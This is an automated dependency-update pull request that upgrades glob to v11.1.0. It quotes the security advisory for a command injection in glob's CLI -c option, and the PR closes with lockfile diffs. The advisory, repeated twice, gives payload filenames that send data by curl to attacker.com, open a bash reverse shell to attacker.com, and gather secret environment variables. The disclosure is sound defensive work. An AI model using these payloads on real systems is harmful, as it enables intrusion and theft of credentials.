chore(deps): update dependency glob to v11 [security] (#2122)

This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| [glob](https://redirect.github.com/isaacs/node-glob) | [`^10.2.7` ->
`^11.0.0`](https://renovatebot.com/diffs/npm/glob/10.4.5/11.1.0) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/glob/11.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/glob/10.4.5/11.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

### GitHub Vulnerability Alerts

####
[CVE-2025-64756](https://redirect.github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2)

### Summary

The glob CLI contains a command injection vulnerability in its
`-c/--cmd` option that allows arbitrary command execution when
processing files with malicious names. When `glob -c <command>
<patterns>` is used, matched filenames are passed to a shell with
`shell: true`, enabling shell metacharacters in filenames to trigger
command injection and achieve arbitrary code execution under the user or
CI account privileges.

### Details

**Root Cause:**
The vulnerability exists in `src/bin.mts:277` where the CLI collects
glob matches and executes the supplied command using `foregroundChild()`
with `shell: true`:

```javascript
stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))
```

**Technical Flow:**
1. User runs `glob -c <command> <pattern>` 
2. CLI finds files matching the pattern
3. Matched filenames are collected into an array
4. Command is executed with matched filenames as arguments using `shell:
true`
5. Shell interprets metacharacters in filenames as command syntax
6. Malicious filenames execute arbitrary commands

**Affected Component:**
- **CLI Only:** The vulnerability affects only the command-line
interface
- **Library Safe:** The core glob library API (`glob()`, `globSync()`,
streams/iterators) is not affected
- **Shell Dependency:** Exploitation requires shell metacharacter
support (primarily POSIX systems)

**Attack Surface:**
- Files with names containing shell metacharacters: `$()`, backticks,
`;`, `&`, `|`, etc.
- Any directory where attackers can control filenames (PR branches,
archives, user uploads)
- CI/CD pipelines using `glob -c` on untrusted content

### PoC

**Setup Malicious File:**
```bash
mkdir test_directory && cd test_directory

# Create file with command injection payload in filename
touch '$(touch injected_poc)'
```

**Trigger Vulnerability:**
```bash

# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"
```

**Result:**
- The echo command executes normally
- **Additionally:** The `$(touch injected_poc)` in the filename is
evaluated by the shell
- A new file `injected_poc` is created, proving command execution
- Any command can be injected this way with full user privileges

**Advanced Payload Examples:**

**Data Exfiltration:**
```bash

# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'
```

**Reverse Shell:**
```bash

# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'
```

**Environment Variable Harvesting:**
```bash

# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'
```

### Impact

**Arbitrary Command Execution:**
- Commands execute with full privileges of the user running glob CLI
- No privilege escalation required - runs as current user
- Access to environment variables, file system, and network

**Real-World Attack Scenarios:**

**1. CI/CD Pipeline Compromise:**
- Malicious PR adds files with crafted names to repository
- CI pipeline uses `glob -c` to process files (linting, testing,
deployment)
- Commands execute in CI environment with build secrets and deployment
credentials
- Potential for supply chain compromise through artifact tampering

**2. Developer Workstation Attack:**
- Developer clones repository or extracts archive containing malicious
filenames
- Local build scripts use `glob -c` for file processing
- Developer machine compromise with access to SSH keys, tokens, local
services

**3. Automated Processing Systems:**
- Services using glob CLI to process uploaded files or external content
- File uploads with malicious names trigger command execution
- Server-side compromise with potential for lateral movement

**4. Supply Chain Poisoning:**
- Malicious packages or themes include files with crafted names
- Build processes using glob CLI automatically process these files
- Wide distribution of compromise through package ecosystems

**Platform-Specific Risks:**
- **POSIX/Linux/macOS:** High risk due to flexible filename characters
and shell parsing
- **Windows:** Lower risk due to filename restrictions, but
vulnerability persists with PowerShell, Git Bash, WSL
- **Mixed Environments:** CI systems often use Linux containers
regardless of developer platform

### Affected Products

- **Ecosystem:** npm
- **Package name:** glob
- **Component:** CLI only (`src/bin.mts`)
- **Affected versions:** v10.3.7 through v11.0.3 (and likely later
versions until patched)
- **Introduced:** v10.3.7 (first release with CLI containing `-c/--cmd`
option)
- **Patched versions:** 11.1.0

**Scope Limitation:**
- **Library API Not Affected:** Core glob functions (`glob()`,
`globSync()`, async iterators) are safe
- **CLI-Specific:** Only the command-line interface with `-c/--cmd`
option is vulnerable

### Remediation

- Upgrade to `glob@11.1.0` or higher, as soon as possible.
- If any `glob` CLI actions fail, then convert commands containing
positional arguments, to use the `--cmd-arg`/`-g` option instead.
- As a last resort, use `--shell` to maintain `shell:true` behavior
until glob v12, but ensure that no untrusted contents can possibly be
encountered in the file path results.

---

### glob CLI: Command injection via -c/--cmd executes matches with
shell:true
[CVE-2025-64756](https://nvd.nist.gov/vuln/detail/CVE-2025-64756) /
[GHSA-5j98-mcp5-4vw2](https://redirect.github.com/advisories/GHSA-5j98-mcp5-4vw2)

<details>
<summary>More information</summary>

#### Details
##### Summary

The glob CLI contains a command injection vulnerability in its
`-c/--cmd` option that allows arbitrary command execution when
processing files with malicious names. When `glob -c <command>
<patterns>` is used, matched filenames are passed to a shell with
`shell: true`, enabling shell metacharacters in filenames to trigger
command injection and achieve arbitrary code execution under the user or
CI account privileges.

##### Details

**Root Cause:**
The vulnerability exists in `src/bin.mts:277` where the CLI collects
glob matches and executes the supplied command using `foregroundChild()`
with `shell: true`:

```javascript
stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))
```

**Technical Flow:**
1. User runs `glob -c <command> <pattern>` 
2. CLI finds files matching the pattern
3. Matched filenames are collected into an array
4. Command is executed with matched filenames as arguments using `shell:
true`
5. Shell interprets metacharacters in filenames as command syntax
6. Malicious filenames execute arbitrary commands

**Affected Component:**
- **CLI Only:** The vulnerability affects only the command-line
interface
- **Library Safe:** The core glob library API (`glob()`, `globSync()`,
streams/iterators) is not affected
- **Shell Dependency:** Exploitation requires shell metacharacter
support (primarily POSIX systems)

**Attack Surface:**
- Files with names containing shell metacharacters: `$()`, backticks,
`;`, `&`, `|`, etc.
- Any directory where attackers can control filenames (PR branches,
archives, user uploads)
- CI/CD pipelines using `glob -c` on untrusted content

##### PoC

**Setup Malicious File:**
```bash
mkdir test_directory && cd test_directory

##### Create file with command injection payload in filename
touch '$(touch injected_poc)'
```

**Trigger Vulnerability:**
```bash

##### Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"
```

**Result:**
- The echo command executes normally
- **Additionally:** The `$(touch injected_poc)` in the filename is
evaluated by the shell
- A new file `injected_poc` is created, proving command execution
- Any command can be injected this way with full user privileges

**Advanced Payload Examples:**

**Data Exfiltration:**
```bash

##### Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'
```

**Reverse Shell:**
```bash

##### Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'
```

**Environment Variable Harvesting:**
```bash

##### Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'
```

##### Impact

**Arbitrary Command Execution:**
- Commands execute with full privileges of the user running glob CLI
- No privilege escalation required - runs as current user
- Access to environment variables, file system, and network

**Real-World Attack Scenarios:**

**1. CI/CD Pipeline Compromise:**
- Malicious PR adds files with crafted names to repository
- CI pipeline uses `glob -c` to process files (linting, testing,
deployment)
- Commands execute in CI environment with build secrets and deployment
credentials
- Potential for supply chain compromise through artifact tampering

**2. Developer Workstation Attack:**
- Developer clones repository or extracts archive containing malicious
filenames
- Local build scripts use `glob -c` for file processing
- Developer machine compromise with access to SSH keys, tokens, local
services

**3. Automated Processing Systems:**
- Services using glob CLI to process uploaded files or external content
- File uploads with malicious names trigger command execution
- Server-side compromise with potential for lateral movement

**4. Supply Chain Poisoning:**
- Malicious packages or themes include files with crafted names
- Build processes using glob CLI automatically process these files
- Wide distribution of compromise through package ecosystems

**Platform-Specific Risks:**
- **POSIX/Linux/macOS:** High risk due to flexible filename characters
and shell parsing
- **Windows:** Lower risk due to filename restrictions, but
vulnerability persists with PowerShell, Git Bash, WSL
- **Mixed Environments:** CI systems often use Linux containers
regardless of developer platform

##### Affected Products

- **Ecosystem:** npm
- **Package name:** glob
- **Component:** CLI only (`src/bin.mts`)
- **Affected versions:** v10.3.7 through v11.0.3 (and likely later
versions until patched)
- **Introduced:** v10.3.7 (first release with CLI containing `-c/--cmd`
option)
- **Patched versions:** 11.1.0

**Scope Limitation:**
- **Library API Not Affected:** Core glob functions (`glob()`,
`globSync()`, async iterators) are safe
- **CLI-Specific:** Only the command-line interface with `-c/--cmd`
option is vulnerable

##### Remediation

- Upgrade to `glob@11.1.0` or higher, as soon as possible.
- If any `glob` CLI actions fail, then convert commands containing
positional arguments, to use the `--cmd-arg`/`-g` option instead.
- As a last resort, use `--shell` to maintain `shell:true` behavior
until glob v12, but ensure that no untrusted contents can possibly be
encountered in the file path results.

#### Severity
- CVSS Score: 7.5 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H`

#### References
-
[https://github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2](https://redirect.github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2)
-
[https://nvd.nist.gov/vuln/detail/CVE-2025-64756](https://nvd.nist.gov/vuln/detail/CVE-2025-64756)
-
[47473c046b)
-
[https://github.com/isaacs/node-glob](https://redirect.github.com/isaacs/node-glob)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-5j98-mcp5-4vw2) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>isaacs/node-glob (glob)</summary>

###
[`v11.1.0`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.3...v11.1.0)

[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.3...v11.1.0)

###
[`v11.0.3`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.2...v11.0.3)

[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.2...v11.0.3)

###
[`v11.0.2`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.1...v11.0.2)

[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.1...v11.0.2)

###
[`v11.0.1`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.0...v11.0.1)

[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.0...v11.0.1)

###
[`v11.0.0`](https://redirect.github.com/isaacs/node-glob/compare/v10.4.5...v11.0.0)

[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v10.5.0...v11.0.0)

###
[`v10.5.0`](https://redirect.github.com/isaacs/node-glob/compare/v10.4.5...v10.5.0)

[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v10.4.5...v10.5.0)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

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package.json

@@ -79,7 +79,7 @@
     "eslint-plugin-react-hooks": "^4.6.0",
     "eslint-webpack-plugin": "^4.0.1",
     "fork-ts-checker-webpack-plugin": "^8.0.0",
-    "glob": "^10.2.7",
+    "glob": "^11.0.0",
     "identity-obj-proxy": "3.0.0",
     "imports-loader": "^5.0.0",
     "jest": "^29.5.0",

yarn.lock

@@ -1745,6 +1745,22 @@ __metadata:
   languageName: node
   linkType: hard
 
+"@isaacs/balanced-match@npm:^4.0.1":
+  version: 4.0.1
+  resolution: "@isaacs/balanced-match@npm:4.0.1"
+  checksum: 10c0/7da011805b259ec5c955f01cee903da72ad97c5e6f01ca96197267d3f33103d5b2f8a1af192140f3aa64526c593c8d098ae366c2b11f7f17645d12387c2fd420
+  languageName: node
+  linkType: hard
+
+"@isaacs/brace-expansion@npm:^5.0.0":
+  version: 5.0.0
+  resolution: "@isaacs/brace-expansion@npm:5.0.0"
+  dependencies:
+    "@isaacs/balanced-match": "npm:^4.0.1"
+  checksum: 10c0/b4d4812f4be53afc2c5b6c545001ff7a4659af68d4484804e9d514e183d20269bb81def8682c01a22b17c4d6aed14292c8494f7d2ac664e547101c1a905aa977
+  languageName: node
+  linkType: hard
+
 "@isaacs/cliui@npm:^8.0.2":
   version: 8.0.2
   resolution: "@isaacs/cliui@npm:8.0.2"
@@ -6892,7 +6908,7 @@ __metadata:
   languageName: node
   linkType: hard
 
-"foreground-child@npm:^3.1.0":
+"foreground-child@npm:^3.1.0, foreground-child@npm:^3.3.1":
   version: 3.3.1
   resolution: "foreground-child@npm:3.3.1"
   dependencies:
@@ -7223,7 +7239,7 @@ __metadata:
   languageName: node
   linkType: hard
 
-"glob@npm:^10.2.2, glob@npm:^10.2.7":
+"glob@npm:^10.2.2":
   version: 10.4.5
   resolution: "glob@npm:10.4.5"
   dependencies:
@@ -7239,6 +7255,22 @@ __metadata:
   languageName: node
   linkType: hard
 
+"glob@npm:^11.0.0":
+  version: 11.1.0
+  resolution: "glob@npm:11.1.0"
+  dependencies:
+    foreground-child: "npm:^3.3.1"
+    jackspeak: "npm:^4.1.1"
+    minimatch: "npm:^10.1.1"
+    minipass: "npm:^7.1.2"
+    package-json-from-dist: "npm:^1.0.0"
+    path-scurry: "npm:^2.0.0"
+  bin:
+    glob: dist/esm/bin.mjs
+  checksum: 10c0/1ceae07f23e316a6fa74581d9a74be6e8c2e590d2f7205034dd5c0435c53f5f7b712c2be00c3b65bf0a49294a1c6f4b98cd84c7637e29453b5aa13b79f1763a2
+  languageName: node
+  linkType: hard
+
 "glob@npm:^7.1.3, glob@npm:^7.1.4":
   version: 7.2.3
   resolution: "glob@npm:7.2.3"
@@ -7383,7 +7415,7 @@ __metadata:
     eslint-plugin-react-hooks: "npm:^4.6.0"
     eslint-webpack-plugin: "npm:^4.0.1"
     fork-ts-checker-webpack-plugin: "npm:^8.0.0"
-    glob: "npm:^10.2.7"
+    glob: "npm:^11.0.0"
     identity-obj-proxy: "npm:3.0.0"
     imports-loader: "npm:^5.0.0"
     jest: "npm:^29.5.0"
@@ -8401,6 +8433,15 @@ __metadata:
   languageName: node
   linkType: hard
 
+"jackspeak@npm:^4.1.1":
+  version: 4.1.1
+  resolution: "jackspeak@npm:4.1.1"
+  dependencies:
+    "@isaacs/cliui": "npm:^8.0.2"
+  checksum: 10c0/84ec4f8e21d6514db24737d9caf65361511f75e5e424980eebca4199f400874f45e562ac20fa8aeb1dd20ca2f3f81f0788b6e9c3e64d216a5794fd6f30e0e042
+  languageName: node
+  linkType: hard
+
 "jest-changed-files@npm:^29.7.0":
   version: 29.7.0
   resolution: "jest-changed-files@npm:29.7.0"
@@ -9285,6 +9326,13 @@ __metadata:
   languageName: node
   linkType: hard
 
+"lru-cache@npm:^11.0.0":
+  version: 11.2.2
+  resolution: "lru-cache@npm:11.2.2"
+  checksum: 10c0/72d7831bbebc85e2bdefe01047ee5584db69d641c48d7a509e86f66f6ee111b30af7ec3bd68a967d47b69a4b1fa8bbf3872630bd06a63b6735e6f0a5f1c8e83d
+  languageName: node
+  linkType: hard
+
 "lru-cache@npm:^5.1.1":
   version: 5.1.1
   resolution: "lru-cache@npm:5.1.1"
@@ -9548,6 +9596,15 @@ __metadata:
   languageName: node
   linkType: hard
 
+"minimatch@npm:^10.1.1":
+  version: 10.1.1
+  resolution: "minimatch@npm:10.1.1"
+  dependencies:
+    "@isaacs/brace-expansion": "npm:^5.0.0"
+  checksum: 10c0/c85d44821c71973d636091fddbfbffe62370f5ee3caf0241c5b60c18cd289e916200acb2361b7e987558cd06896d153e25d505db9fc1e43e6b4b6752e2702902
+  languageName: node
+  linkType: hard
+
 "minimatch@npm:^3.0.4, minimatch@npm:^3.0.5, minimatch@npm:^3.1.1, minimatch@npm:^3.1.2":
   version: 3.1.2
   resolution: "minimatch@npm:3.1.2"
@@ -10211,6 +10268,16 @@ __metadata:
   languageName: node
   linkType: hard
 
+"path-scurry@npm:^2.0.0":
+  version: 2.0.1
+  resolution: "path-scurry@npm:2.0.1"
+  dependencies:
+    lru-cache: "npm:^11.0.0"
+    minipass: "npm:^7.1.2"
+  checksum: 10c0/2a16ed0e81fbc43513e245aa5763354e25e787dab0d539581a6c3f0f967461a159ed6236b2559de23aa5b88e7dc32b469b6c47568833dd142a4b24b4f5cd2620
+  languageName: node
+  linkType: hard
+
 "path-to-regexp@npm:^1.7.0":
   version: 1.9.0
   resolution: "path-to-regexp@npm:1.9.0"